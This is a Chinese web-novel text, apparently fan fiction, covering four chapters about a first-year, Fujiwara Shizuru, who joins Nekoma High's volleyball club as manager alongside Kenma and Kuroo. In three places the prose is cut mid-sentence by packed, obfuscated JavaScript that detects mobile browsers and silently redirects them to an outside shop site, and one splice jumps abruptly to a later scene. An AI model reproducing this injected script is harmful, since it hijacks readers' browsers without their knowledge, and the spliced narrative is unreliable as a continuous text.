《排球部经理物语》 1. 第一章 【排球，以立于球场中心的球网为界，两支球队进行比赛，球不能落地，亦不能持球，是以三次截击来维系攻击的球类竞技。 只要球还未落地，比赛就还没结束…… 然而在这个9m*18m的长方形场地中，一定会有排球落地的时刻*。 ——最终决战·完——】 “……” “结束了。” 手里的黑白漫画翻到最后一页，看着位于馆场中心的那颗排球，藤原静流整个人靠在椅背上，长长地吁出一口气。 这是一本连载很多年的排球漫画，作者每月勤勤恳恳更新，剧情不拖沓，角色智商全程在线，没有一拍脑子，不顾读者死活写出什么奇奇怪怪的剧情——这真是太难得了！ 全程看下来非常流畅，哪怕在后期收尾阶段也没有崩，是一部无论从什么方面看，都非常完美的运动番作品！ 藤原静流在国三的时候接触了这本漫画，看完更新后，他毅然决定退出原本的社团，转头加入了学校的排球部。 但迫于国三升学的压力，他在第二个学期就退部，连漫画后续更新也没有再看。 通过几个月的努力，藤原静流获得怒所中学毕业证书，并成功升入高中。 而国三毕业的春假，他无意间再次打开这本漫画，然后就一发不可收拾，连熬了几夜终于在开学前一天看完全本，此时此刻藤原静流满脑子是漫画里的剧情回闪。 练习赛，新人赛，预选赛，全国大赛…… 房间里很安静，只有轻微的呼吸声，随着剧情播放至末尾，藤原静流热血沸腾的心渐渐平复下来，紧随而来的是?微妙的惆怅?，他合上漫画，起身放到一旁的书架上。 落地书架上规整地放满了漫画单行本和轻小说，部分还被藤原静流用塑封袋包好，所有纸质书状态都非常好，一看平时就有好好打理。 书柜旁的衣架上挂着一个黑色排球包，藤原静流看了一眼，脑子又不受控制地开始闪回剧情高光。 哇呜，这个作者怎么这么会画？ 时隔半年，藤原静流再次被漫画家精准捕获，重燃对这项运动的热情——他，现在，超级想打排球！ 现实总是无比残酷。 藤原静流翻了翻手机里的联系人，他贫瘠的社交圈根本凑不齐两队人打排球，之前中学排球社的队友，因为很久没有联系也不好贸然打扰…… 欸，他叹了口气，看来只能将希望寄托在高中社团上了。 第二天，藤原静流艰难地在闹钟第四次响起时，从床上爬了起来，胡乱套上校服婉拒了妈妈的陪同，咬着饭团独自前往学校。 家长总觉得升学是一个需要严肃对待的事情，可他不觉得第一天入学是什么郑重的日子，上学有什么好庆祝的？一旦开学意味着曾经睡到日上三竿，随心所欲的日子远去，又要开始重复没完没了的日常任务了…… 藤原静流一边在心里碎碎念，一边跟随着人流抵达目的地，未来要待三年的新地图——东京都立音驹高等学校。 “唔，一年级三组……” 藤原静流站在公告栏前，认认真真看完分班表和旁边的校园分布图后，按照记忆找到自己的班级。 他来得不算早，教室已经坐下了不少人，藤原静流飞快地环视一圈，在教室最里侧挑了个靠后排些的位置。 空了大半个月的桌椅上落了薄薄的一层灰，藤原静流从包里拿出湿巾和纸巾，仔仔细细擦了一遍才坐下。 教室里的三三两两围在一起，嬉笑打闹的声音断断续续传到耳边，藤原静流看分班表的时候就知道没有自己认识的人，新的环境，陌生的人…… 他看了一眼从始至终低着头玩手机的前桌，犹豫几秒没有选择上前交流，而是从书包里拿出漫画杂志开始翻看。 三分钟后，藤原静流闭上了眼，可恶，完全看不进去！ 这就是看完一部好作品的代价吗？ 藤原静流百无聊赖地翻页，黑白杂志上的文字和讲台上老师讲话的声音，根本进入不了被漫画短暂改造成排球笨蛋的大脑。 好在开学第一天没什么事，他对竞选班干部也不感兴趣，而班上大部分学生和藤原静流差不多，大家都没从假期的闲散中调整过来，别说走神了，胆大一点的都敢拿出手机玩。 “静流！”放学铃声响起，约好一起看社团招新的朋友出现在教室的后门，“这里！” 藤原静流拿上早就收拾好的书包起身，和朋友一起离开了教学楼。 学校的主干道上支起了一排排桌椅，沿路能看见颜色鲜艳的招生海报，负责招新的学长学姐抱着宣传单，热情地为每个停留的学生介绍，像吹奏部舞蹈社合气道之类的社团，还会特意划分出一块区域表演。 等两人从人群里挣脱出来的时候，手里已经拿了一叠宣传单。 “静流，你准备加入什么社团啊？” 藤原静流漫不经心地翻了一遍宣传单：“排球部吧。” “排球部？我记得国三的时候你也加入了排球社吧？没想到你对排球的兴趣居然能持续这么久……” 藤原静流在心里默默回道，在假期打开那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595829|187443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本漫画前，我也没想到。 和刻板印象里的二次元爱好者稍微有点不同，藤原静流在没有兴趣的情况下，会选择一些轻松休闲的文学类社团混日子，但在有偏向的情况下，他会毫不犹豫选择自己喜欢的。 用本人的话来说，死宅什么时候不能当？为什么要浪费青春！ 青春啊，这可是青涩高中生的青春啊！ 能被称之为青春的阶段非常短暂，不足人生的十分之一，而按照目前的科技发展和走向，人这一生只能经历一次，永远不会拥有再来一次的机会！ 正因如此，它才成为ACGN里经久不衰的题材。 虽然之前短暂的排球部经历清楚地告诉藤原静流，他本人的技能点根本没点在运动上…… “你呢？” 藤原静流问道。 好友纠结地看着周围：“我还没确定，想再四处看看吧……” 两人商量了一下，决定分开行动，约定好了在校门口的便利店集合。 藤原静流按照宣传单上的指示找到了排球部的纳新区域，和足球篮球之类的运动社团相比，排球部显然更冷清一点，只有一个人坐在凳子上。 藤原静流眯了眯眼，觉得这个背影好像有点熟悉。 “嗨～同学！”一个黑色鸡冠头的学长察觉到藤原静流的视线，十分热情地对着他招了招手，“我们这里是排球部，感兴趣可以过来看看啊！” 既然决定了加入，藤原静流也没纠结，直接走了过去。 “同学有没有排球经验？没有也不用担心，学长们会负责的，包教包会！我们明天下午放学还有体验会，欢迎过来……” 面对学长的热情推销，藤原静流耐心等他说完后，严谨答道：“之前参加过社团……算是有一点基础吧。” “那真是太好了！” 排球部的学长高兴地从宣传单里抽出一张入部申请递给藤原静流：“我是黑尾铁朗，负责本次招新，你有任何疑惑都可以跟我说。” 藤原静流礼貌地道了声谢，接过入部申请坐下开始填写。 黑尾铁朗瞥了一眼，忽然发现：“一年级三组……研磨，我记得你也在三班，对吧？” 虽然是疑问句，但他说话的语气非常肯定。 坐在旁边的少年抬起头，慢吞吞地“嗯”了一声，和藤原静流短暂地对视了一秒，又飞快地错开。 藤原静流没有在意，微笑道：“你好，我的名字是藤原静流。” “研磨。”黑色头发的少年小声补充，“孤爪研磨。” —— 2. 第二章 孤爪研磨，东京都立音驹高等学校，一年级三组的新生。 作为一个不擅长跟人交流来往的人，开学的这一段时间无疑是孤爪研磨最难熬的时候。 陌生的环境，陌生的同学，陌生的老师……意味着一切都要从头开始，光是想到开学第一个星期需要面对的社交场合，孤爪研磨的神经就开始绷紧。 但无论再怎么低调，刚开始位置周围一圈人肯定是要交流的，因此孤爪研磨选择了教室最靠内侧的座位，这样就少了三分之一需要社交的人——如果不是身高不允许，他一定会选择最后一排！ 如果坐最后一排的话，只需要和同桌还有两名前桌产生交流，而且这个位置离得远不起眼，老师也不会过多关注…… 就在他举例最后一排的优点时，又有人来了。 孤爪研磨微微抬起头，藏在头发后面的金色竖瞳掠过向这边走过来的少年。 黑色短发，样貌气质干净平和，看起来并不难相处。 对方停在孤爪研磨后面的座位边，片刻后，一股很淡的消毒酒精味道飘了过来，很少有人会随身带着湿纸巾，就算座位上有灰也只是随意用纸巾擦一下，是有洁癖吗？ 察觉到身后的视线移开，一直低着头看手机的孤爪研磨悄悄松了口气，嗯，节省了一管社交能量。 放学铃声响起，孤爪研磨走出教室，和从小一起长大的幼驯染黑尾铁朗并肩下楼。 还没踏出教学楼，孤爪研磨就听见外面喧闹的声音，他紧急停下脚步，拉住黑尾铁朗的袖子：“小黑，不用那么着急吧，我都说了会加入排球社……” 新学期社团招新，道路两旁站满的人，热情的学长学姐为了纳新，只要看见一个人就发宣传单，这种场面对不想和陌生人说话的孤爪研磨十分不友好。 都说了会加入排球社，明天也可以吧？ 黑尾铁朗笑着说：“因为我期待这一天很久了嘛。” 孤爪研磨没有再说话，只是有点后悔，早知道就让小黑这个副部长直接带入部申请过来给他填写，这样也不用他亲自跑一趟。 “好了，我们不走正门。”黑尾铁朗也知道研磨不喜欢人多的地方，熟悉校园的他带着人抄近路前往排球部纳新区。 黑尾铁朗的队友早就听他说过，自己的幼驯染二传要来排球部，此时看见黑尾铁朗身后的孤爪研磨有些惊讶。 虽然听黑尾铁朗描述就知道对方不是什么四肢发达的类型，但孤爪研磨君给人的第一印象，实在和排球这种需要在球场上挥洒汗水的球类运动十分不匹配。 体型很瘦弱，看起来有气无力的…… 而孤爪研磨也贯彻了他们的第一印象，简单地应了几句，然后就低下头开始填写入部申请。 “一年级三组……研磨，我记得你也在三班，对吧？” 孤爪研磨抬起头，和自己的后桌对上视线，对方显然也认出他来了。 “……嗯。” 迟来的自我介绍在耳边响起。 “你好，我的名字是藤原静流。” “研磨……孤爪研磨。” 藤原静流并不是什么社交恐怖分子，见对方没有说话的欲望便点到即止，继续填写申请。 纳新刚开始就招收到两名部员，对音驹排球部来说是个开门红，黑尾铁朗笑眯眯地收起两人的入部申请，一个二传，一个…… 黑尾铁朗目光一顿：“……经理？藤原君，你要当排球部的经理？” 藤原静流点头：“是的。” 黑尾铁朗有些疑惑：“我记得你刚刚说自己打过排球？” 社团经理这个职位一般由女生胜任，倒不是说男生不能当，只是藤原静流之前明明打过排球，为什么现在要选择当经理？ 藤原静流直白道：“打过，但技术一般。” 藤原静流说会一点基础，真的不是在谦虚，他的排球水平实在称不上好。 当然，这不是他选择成为经理而不是成员的全部原因，还有一个原因是，曾经短暂热血了一下的藤原静流表示，他有点接受不了排球部高强度的训练。 现实和想象还是有很大区别的，每日重复枯燥无味的基础训练，辛苦的体能训练，以及缓慢增长的进度条，都不断在消磨藤原静流并不纯粹的热爱。 怒所中学是排球强校，大部分排球部正选成员都是从小开始接触排球，藤原静流这个因为兴趣半路加入的，没有逆天的体能，也没有优秀的天赋，很快就泯然众人了。 别说成为正选了，他连替补席都摸不到。 这下连热血都没了……虽然他这技术就算当上正选大概也是炮灰，最多在漫画里出现一行名字的那种。 总之，在深思熟虑后，藤原静流认为自己不适合在热血青春里搞体育竞技，但是他又真的很想在热血青春里搞体育竞技怎么办？ 那么就成为见证热血青春的那个人吧！ 因此，藤原静流选择成为排球部的经理。 黑尾铁朗没有多问，只是说经理需要负责很多工作。 藤原静流回我知道，没关系。 ——如果干不下去，我自己会跑的。 藤原静流不是拥有一腔热血的排球笨蛋，对排球的喜爱程度没有到非他不可的地步，当他觉得自己不适合再待下去了，自然会离开……当然，这些话就没必要告诉别人了。 见藤原静流心意已决，黑尾铁朗也没再劝，反正人都是他们排球部的。 “学长们好！这里是排球部吧？！” 一个嘹亮的嗓音在身后炸开，藤原静流往后看了眼，是一个顶着莫西干头的人。 “是的！” 见黑尾铁朗注意力被其他人吸引走，藤原静流趁机道别，然后悄无声息地离开。 第二天下午放学，藤原静流主动邀请孤爪研磨：“孤爪君，一起去体育馆吗？” 孤爪研磨点了点头，接着低声道：“叫我研磨就好了。” 藤原静流从善如流：“研磨君。” 两人今天没怎么交流，还处于半生不熟的状态，他们又都不是那种可以随意跟陌生人闲聊，开朗健谈的性格，但一直沉默又有些太尴尬了，藤原静流想了想以排球为中心找话题，而孤爪研磨也配合地回答。 “研磨君，打了多久排球呀？” “……国小的时候，就在打了。” “国小吗？那起码有三四年了……研磨君打什么位置？” “二传。” “我之前也是二传呢。” 藤原静流是二传，这个位置是队伍的指挥塔，需要负责统筹进攻，调整传球，非常吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595830|187443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天赋和经验，当然，其他位置想要打得好，也吃天赋经验努力…… 比较特殊的是主攻，一个好的主攻除了上述这些以外，还要负责吃垃圾。 把不到位的垃圾球全都传给主攻——from某不知名怒所排球部教练。 还没踏入体育馆，就听见排球由手掌扣下，狠狠砸在地板上的声音。 两人站在门外换好鞋走近馆内，率先看见的是音驹排球部颜色鲜艳的红色队服，穿着统一服饰的排球部前辈正在场上热身，昨天见过的学长黑尾铁朗在第一时间发现了他们，朝这边挥了挥手。 藤原静流点了一下头算作回复，新人聚集在另一侧的角落，尽量不打扰场上的热身训练，两人自然地站在新人队伍的末尾，将书包放在角落听他们闲聊。 今天下午的体验会一共来了八名新生，通过短暂的交流，除了藤原静流外，一共有三名新生曾经有过排球经验。 分别是二传孤爪研磨，主攻手山本猛虎，和主攻手福永招平。 “藤原，你打什么位置啊？” 话题落到藤原静流身上，他回答：“我是经理。” “经理？” “经——经理？！！” 一声惨叫响起，顶着莫西干头，看起来有些像不良的男生瞪大眼睛看着藤原静流。 藤原静流微蹙了下眉，注视着对方超级鲜明的外貌特征，和脑海里的名字对上：“山本君，有什么问题吗？” “没……没有。” 山本猛虎满脸悲伤，看起来不像没事的样子。 果然过了几秒，他不甘心地开口，支支吾吾问道：“那个……藤原，你知不知道排球部还有其他经理吗？” 回答这个问题的是孤爪研磨：“没有。” 山本猛虎整个人仿佛都褪色了。 他的悲伤没有持续太久，尖锐的哨音在耳边响起，所有人瞬间停下了手里的动作，齐刷刷地看向发声处——排球部的教练，鹤田一鸣。 这个看起来四十多岁的中年男人目光平淡地扫过新生队伍，用严肃的口吻说道：“欢迎各位参加排球部的体验会，我知道大部分对排球这项运动非常陌生，接下来有学长带着你们体验，后续还会有一场队内练习赛……” 打练习赛也是运动类社团里非常常见的一种招新手段，来参加体验会的人多多少少都会对排球感兴趣，这时候来一场刺激帅气的练习赛，更容易留住新人。 鹤田教练说完后，排球部的前辈推着排球框过来，就在藤原静流纠结是先跟着大部队体验，还是站出来时，鹤田教练率先开口：“谁是藤原静流？” 藤原静流心里轻轻一跳，走出了队伍：“教练。” “你要申请成为排球部的经理？” “嗯，是的。” 鹤田教练上下打量了片刻：“我看你的入部申请，上面写了你国中时在排球部待过？” 藤原静流先是点了点头，接着又补充：“……但是教练，我对经理的工作并不了解，可能需要一段时间适应。” “刚开学也不需要你做什么其他的事，负责好后勤和日常训练就行了，其余的慢慢向前辈学习吧。”鹤田教练语气平淡，“你有经验在，应该更容易上手。” “我会努力的，鹤田教练。” —— 3. 第三章 排球部现在共有十三名成员，鹤田教练将手里的名单册递了过去，让藤原静流站在自己左手边：“经理需要负责和部员沟通联络，你站在旁边看着认认人。” 排球场上，大部分新人在前辈指导下笨拙地调整姿势，摆出手型垫球，黄蓝相间的球落在手上，接着迅速向场外飞去。 藤原静流一直在关注场上的情况，在排球偏离主人的想法飞过来的瞬间下意识抬起手，用手臂阻止了排球与自己的脸亲密接触。 “抱歉抱歉！你没事吧？！” 藤原静流看了一眼满脸惶恐紧张的男生，平静道：“没事。” 在其他人移开视线后，他悄悄地揉了揉手臂，太久没碰排球了，这感觉……还是那么痛！ 排球的标准重量在260至280克之间，拿在手上轻飘飘的，按压时还有点软，但实际垫起来才会发现，排球落在手上的感觉真的又重又硬——这种反差大概只有第一次打排球的新人才最清楚。 刚刚在前辈手里乖巧听话的排球，到了新人这里满场乱飞，随机出现在除了自己手臂上的任何位置。 “抱歉！” “嘶……好重。” 体育馆里一时间充斥着道歉声和被垫球手感震惊到地抽气声。 黑尾铁朗站在孤爪研磨旁边，看着动作标准，稳定垫球的山本猛虎和福永招平问道：“你们两个要试试其他项目吗？” 山本猛虎表现得很积极：“前辈，可以吗？！” “当然可以啊。”黑尾铁朗回头，“研磨，过来帮个忙！” 孤爪研磨自然知道黑尾铁朗喊他是做什么，他迈着沉重的步伐走了过来：“报一下你们的摸高多少吧……” 三人初次见面，没有任何配合，孤爪研磨需要根据摸高数据判断托球的位置。 山本猛虎察觉到黑尾铁朗和孤爪研磨关系似乎很亲密，不过碍于刚认识的原因他没有多问，回忆了几秒：“315cm左右吧。” 福永招平：“310cm。” 黑尾铁朗十分自然后退，从框里拿起排球递到孤爪研磨手上，刚开始两人的配合并不流畅，虽然球扣过去了，但能明显看出山本猛虎扣球的力道很软，实力没有发挥出来。 黑尾铁朗拍拍手：“研磨，拿出点动力来啊！” “知道了……” 排球经二传之手在空中划出一条弧线，在飞至最高点要落下的瞬间被主攻手狠狠扣向了对面场地。 “砰——咚——” 巨大的力道让排球落地后高高弹起，藤原静流的注意力被吸引过去，整个体育馆寂静了一瞬，而山本猛虎显然对这种被所有人注目的场景接受良好，甚至还喊了一句。 “再来一球！” 而站在他旁边的孤爪研磨低下头，用头发遮住脸，抱着排球都快挪到界外了。 鹤田教练目光落在山本猛虎身上，虽然技术有一些瑕疵，但力量和弹跳都不错，比一些高年级的都优秀…… 黑尾铁朗哈哈笑了一声，打破了寂静：“看来有实力不错的新人加入啊！” “不过接下来到福永君扣球了。”黑尾铁朗转身看向已经退到排球框后面的幼驯染，“……研磨，别退了，再退你都退到体育馆外面了。” 如果可以，孤爪研磨真的想退到体育馆外面，但很可惜，他的身后是墙壁。 福永招平的力量不如山本猛虎，不过他的动作非常灵巧，藤原静流观察了一下，猜测对方应该是技巧型的攻手。 体育馆又重新热闹起来，但山本猛虎的身影不可避免地在某些人心里留下一个小小的印记。 “……排球部的早训时间是早上七点，下午部活时间是四点，你作为经理要在场，不能迟到。”鹤田教练注视着场上的部员，“我有时候有事不在，你就和队长一起安排部员训练。” “早训主要是体能训练，具体训练内容你去问高野和黑尾。” 高野康介，三年级生，位置主攻，是排球部的主将。 黑尾铁朗，二年级生，位置副攻，是排球部的副主将。 七点……藤原静流面不改色地应了声，心里却在叹气，准备回家就再多设两个闹钟。 虽然藤原静流没有当过经理，但社团可是ACGN青春校园题材里的常驻剧情点，性格不同年龄不同完全陌生的男男女女因为相同的爱好或者意外加入同一个社团，开启一段难忘的故事…… 扯远了，更何况他也在排球社待了一个多学期，见过经理工作，知道大概要做什么。 记录数据，统筹训练，给部员准备电解质水和运动毛巾，需要熟知排球规则，打练习赛时充当一下裁判，如果是去其他学校的话，还要负责和对方学校联络…… 藤原静流的优点是不用花时间学习规则，熟悉运动社团的大体内容，很多环节可以直接上手不需要教，缺点是他没有当后勤的经验，而音驹排球部往上数三届都找不出一个经理，根本没有任何可供他参考的资料。 好在鹤田教练不属于那种沉默寡言，或者特别严厉的教练，藤原静流能开口地向他提出自己的疑问：“鹤田教练，那周末排球部有活动安排吗？” “周末排球部没有活动。”鹤田教练沉吟几秒，“但黑尾他们几个有时候会过来加训。” 鹤田教练并没有强行要求藤原静流周末一定要到场，和黑尾铁朗他们一起加训，而是将选择权留给了他自己。 因为藤原静流现在还处于对排球兴趣浓厚的时候，所以对加训也没有抗拒，他的周末安排大多是宅在家里，时间很宽裕，但具体要不要加入，还是再看看吧…… 体验活动进行了半个小时，接下来是队内练习赛，这场练习赛有一点表演赛的意思，大家都在尽力打得帅气，比起输赢，观赏性更高。 不过，藤原静流目光在B队的黑尾铁朗和A队的夜久卫辅身上停留，哪怕是一场用于表演的练习赛，也能从中看出谁的水平更胜一筹。 “高野学长，发个好球！” 场上现在轮到A队的高野康介发球，站在发球线的主将缓缓呼出一口气，然后将球高高抛起——是大力跳发。 排球重重砸在了B队后排成员的手臂上，接着弹向了对面。 “机会球！” 高野康介迅速组织起了进攻，然而一双手如同墙壁一样出现在眼前。 “one touch！” 黑尾铁朗大喊了一声，排球经过手指的缓冲，被后排的队友稳稳垫起，经过调整之后被高高跃起的主攻手扣下。 作为副攻，黑尾铁朗灵活的拦网大大减轻了其他队友的压力，甚至不止一次单人拦死对手的扣球。 而据藤原静流观察，黑尾铁朗的拦网高度应该是场上最高的，像一堵墙一样挡在面前，面对这样的拦网主攻手很难直接扣球得分，除非对面二传能甩开黑尾铁朗，替主攻手开辟出一条道路。 虽然另一队没有像黑尾铁朗那样的副攻，可以直接拦死扣球，但是！ 一个米白色头发的身影出现在球的落点位置，双臂并拢将这颗球完美接起。 “Nice receiving！” 作为防守核心，自由人夜久卫辅的反应迅速，鱼跃姿势标准漂亮，每当他接到一个大力扣球发球时，都可以得到场外人的惊叹，这是一种与攻手截然不同的帅气，更重要的是他的一传到位率在藤原静流见过的自由人里名列前茅！ 藤原静流之前了解过音驹的排球部，是一支以防守接球的风格闻名的队伍，共计十次打入全国大赛——这么看来音驹高中的排球部也蛮厉害的。 虽然东京都相较于其他县，在排球两大著名高中学校赛事的名额更多——在全国高等学校体育大会（Inter High)，和简称春高的全日本高等学校排球选手权大会上，拥有两个全国名额。 需要注意的是春高还有一条规定，就是主办方拥有一个代表名额，不过春高举办地一直在东京体育馆，没有改变过，因此东京都在春高赛上拥有三个全国名额，但它名额多的原因是——东京是著名的死亡赛区。 东京都每年参加预选赛的学校数量都是其他县的一倍甚至是几倍，还有井闼山和枭谷这样的夺冠种子选手挡在前面，能从中杀出来的，肯定不是什么等闲之辈。 但音驹排球部自从猫又教练引退后就没什么好成绩，近年来渐渐落寞了，最佳成绩也只是预选赛八强，藤原静流也是在决定来音驹读书后，才深入了解了这所学校，知道了这段过往。 一局练习赛结束，所有人集合，围成一个半圈站在鹤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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关上体育馆的大门，三人穿过走廊来到平房：“这一排教室从左数第二间就是我们排球部的活动室，门上写着排球部的标记非常容易辨认。” 黑尾铁朗拉开活动室的门：“正好现在没人，你们可以去活动室里挑个储物柜放自己的私人物品，钥匙还在的就是没有人的。” 音驹排球部的活动室面积不小，进门右手边就是鞋柜，左侧靠墙是两个无隔断的置物架，一个上面放满了杂物，另一个大些的是用来放部员的物品，右侧靠墙是一排存放私人物品的储物柜，两条长凳靠在储物柜旁。 等两人挑好后，黑尾铁朗指向最里侧：“藤原，这里面是一些排球部的日常用品，运动毛巾，电解质粉之类的……对了，你知道怎么准备运动饮料吧？” 藤原静流将储物柜的钥匙放在书包夹层里：“知道。” 高强度运动后要补充电解质防止脱水，但运动饮料价格太高，一瓶运动饮料的价格在150元日元左右，大部分运动社团无法支撑长期供应，因此会选择购买电解质粉，然后用直饮水冲泡节省开支。 “那就好。”黑尾铁朗打开柜子扫了一眼，“这些东西都是上个学期剩下的，好像不多了……” 藤原静流注意到柜子里包着塑料袋叠放的白色毛巾：“这些运动毛巾都是用过的？” “啊，是的，好像是上个学期末拆的。” 闻言，藤原静流心里想，体验会结束得早，回家之前可以绕路去百货商场看一下。 “活动室后面是健身器材室，平时做一些力量训练，健身室是我们和其他几个运动社团共用，到时候还是和他们商量一下时间……” 三人边说边走出了校门，黑尾铁朗在一个湖泊边站定：“还有这里，平时训练我们就绕着这个湖跑。” 湖泊就在学校旁边，孤爪研磨用脑子计量了一下一圈的距离，原本跳动的心有点淡淡地死掉了。 藤原静流则努力记下了音驹排球部的几个活动位置：“谢谢前辈。” “不用客气，这是前辈应该做的。”黑尾铁朗笑了笑，“好了，时间不早了，我和研磨要去赶地铁，明天见啦，藤原。” “黑尾前辈，研磨君，明天见。” —— 4. 第四章 第二天凌晨六点整，刺耳的铃声在房间里准时响起。 一只手从被窝里伸了出来，凭借着肌肉记忆，藤原静流闭着眼找到闹钟关掉了声音，然后仿佛什么都没发生一样睡了回去。 五分钟后，铃声再度响起。 藤原静流这次睁开眼看了下时间，嗯，感觉还可以再眯五分钟，我就眯一会儿，我不睡…… 结果刚关掉的闹钟又一次响起，藤原静流盯着时间看，他怀疑有人偷掉了他的时间，不然无法解释这五分钟为什么过得那么快？！ 确定真的不能再睡了后，藤原静流艰难地掀开被子爬起来，明明昨天晚上睡觉前还挺期待社团活动的，结果睡一觉之后只想睡觉了。 ——家人们谁懂啊，这个床怎么会那么好睡？！ 冰凉的自来水淋在脸上，藤原静流瞬间清醒大半。 听见外面的动静，走廊尽头的房间门打开，藤原莲奈披着大衣走出来，语气惊讶道：“静流，你已经醒了？今天怎么起那么早？” 音驹中学八点四十上课，按照藤原静流的性格，不拖到死线是不会起来的，结果现在才六点多，天还没有全亮呢，她就看见那个本该躺在床上的人出现在卫生间。 藤原静流正在洗脸，毛巾盖在脸上含含糊糊地回答：“社团活动，教练规定七点之前要到。” “怎么不早点跟我说。” “……忘记了。” 藤原静流昨天满脑子都是社团和排球，回来的时间又晚，完全忘记了提前和家长说社团的事情。 藤原莲奈揉了揉头发：“我早饭都还没准备呢。” 一般情况下，藤原家的早饭都会在七点半或者八点半左右开始，如果藤原静流是上学期间的话就会早一点，放假就会晚一些。 “不用了妈妈，我随便在路上找个便利店就行了。” “行吧……静流参加了什么社团啊？” “排球部。” “排球啊。”藤原莲奈回忆了几秒，“我记得上一年你也在打……挺好的，你平时宅在家里，正好趁着这个机会多运动一下。” “我是经理，不用参加训练。” “经理？” 从小就不喜欢运动的藤原静流会忽然选择去打排球这件事本来就很让人惊讶，升上高中后居然又让讨厌麻烦的藤原静流去当了排球部的经理……排球这项运动的魅力这么大吗？ 和其他运动对比一下，藤原静流现在对排球算得上热爱那一档的了——虽然除了学校体育课程外，他也没有接触过什么其他运动就是了。 洗漱完回房间换好校服，藤原静流拎起书包和藤原莲奈告别，抵达学校时校内的主干道上还没有什么人。 体育馆的大门已经打开，远远能看见暖黄色灯光照了出来，藤原静流收回视线先去了一趟排球部活动室，碰见正在换运动服的黑尾铁朗和孤爪研磨。 “黑尾前辈，研磨君，早上好。” “经理，早上好啊！” “早上好。” 打完招呼，藤原静流从包里拿出钥匙和消毒湿巾，开始擦拭储物柜。 黑尾铁朗见此情景好奇地问道：“藤原，你有洁癖？” “没有啊。” 藤原静流停下手里的动作，解释道：“我只是觉得这个柜子很久不用，有点太脏了。” 这不就是洁癖吗？ 当然不是，这怎么能算洁癖呢？ 怎么形容呢……就像遇见一个散发恶臭的垃圾堆或者泥潭，你们会过去打滚吗？尽快离开才是正常人的反应吧？怎么能算洁癖呢？ 一大段话在脑海里浮现，藤原静流想解释又觉得太麻烦了，不如直接行动来得快，他叹息地伸出手：“黑尾前辈，需要握个手证明一下吗？” 黑尾铁朗犹豫一秒，还真伸出手了。 两只手短暂重叠又分开，藤原静流从始至终都表现得很平静，没有对黑尾铁朗的触碰流露出什么情绪。 “不反感，看来是我误会了……” 嗯，藤原静流没有感情地想，这个方法还是一如既往地高效。 孤爪研磨小声吐槽：“小黑这是什么洁癖的刻板印象？” 洁癖的刻板印象之一，讨厌肢体接触。 藤原静流不反感和人产生肢体接触——不熟悉和讨厌的人除外。 听到这句话，黑尾铁朗开始思考，黑尾铁朗得出结论：“所以……我是被藤原划入喜欢的前辈那一栏了吗？” 不知道对方怎么得出这个结果，但不妨碍藤原静流委婉地解释：“黑尾前辈，握手是基本社交礼仪。” 言下之意，哪怕是与不熟悉的人进行社交，他也会保持最基本的礼仪。 “什么？！”黑尾铁朗仿佛真情实感地在为这件事不可置信，“研磨，你听见了没有？经理居然否认了我是他喜欢的前辈……难道我已经不是后辈最喜欢的前辈排行榜第一名了吗？” 孤爪研磨张了张嘴，最后选择闭上，将舞台交给幼驯染演出。 藤原静流：“……根本没有那种排名吧！” “可以有。”黑尾铁朗直接原地开始投票流程，“藤原君，现在请你投出“你心目中最喜欢的排球部前辈”！” 藤原静流下意识开始思考，结果发现一件事，那就是黑尾铁朗还真的排在这个什么心目中最喜欢的排球部前辈的榜首？！ 这太犯规了，他对排球部的大部分人记忆就是名字和背号，根本没有选择的余地啊！ 黑尾铁朗露出一个奸诈的笑，声音幽幽飘了过来：“本次投票不许弄虚作假哦～” “夜久前辈，和……黑尾前辈吧。” 评委发出抗议：“喂喂，夜久那个家伙排在我前面就算了，为什么藤原提到我的时候这么不情不愿？” 这一刻，藤原静流的礼貌和吐槽欲在打架。 黑尾铁朗笑了笑，没有抓着这个问题不放：“唔，有点没想到，藤原和夜久怎么认识的？” “我们还没有交流过。”藤原静流说，“因为前辈的鱼跃姿势很漂亮。” 懂了，这是被夜久卫辅的技术俘获了。 擦拭完储物柜，藤原静流将私人用品放在里面，转身一个白色封皮的本子出现在眼前。 “这是昨天答应借给你的部活日志。” “谢谢黑尾前辈。”藤原静流道谢完接过日志，“我下午社团活动的时候还给你。” 黑尾铁朗摆了摆手：“不用着急。” 不，对于藤原静流来说时间紧迫，马上就要开始部活，他翻开黑尾铁朗的部活日志粗略扫了几眼，大致知道了训练内容，然后带着名单册和日志前往体育馆。 确定人到齐了之后，鹤田教练宣布了今天早上的社团活动内容：“高野，你带着大家热身，等会儿让经理给所有人做个入部测试。” 入部测试就是身高体重指高摸高，再详细一点还有速度耐力，不过新人一般不会测试这些，另外孤爪研磨几人还要测一下基本功，也就是垫球，发球，扣球和接球。 藤原静流和高野康介应了一声，后者带着部员开始做热身运动，前者和一名前辈来到体育馆内部的运动器材室。 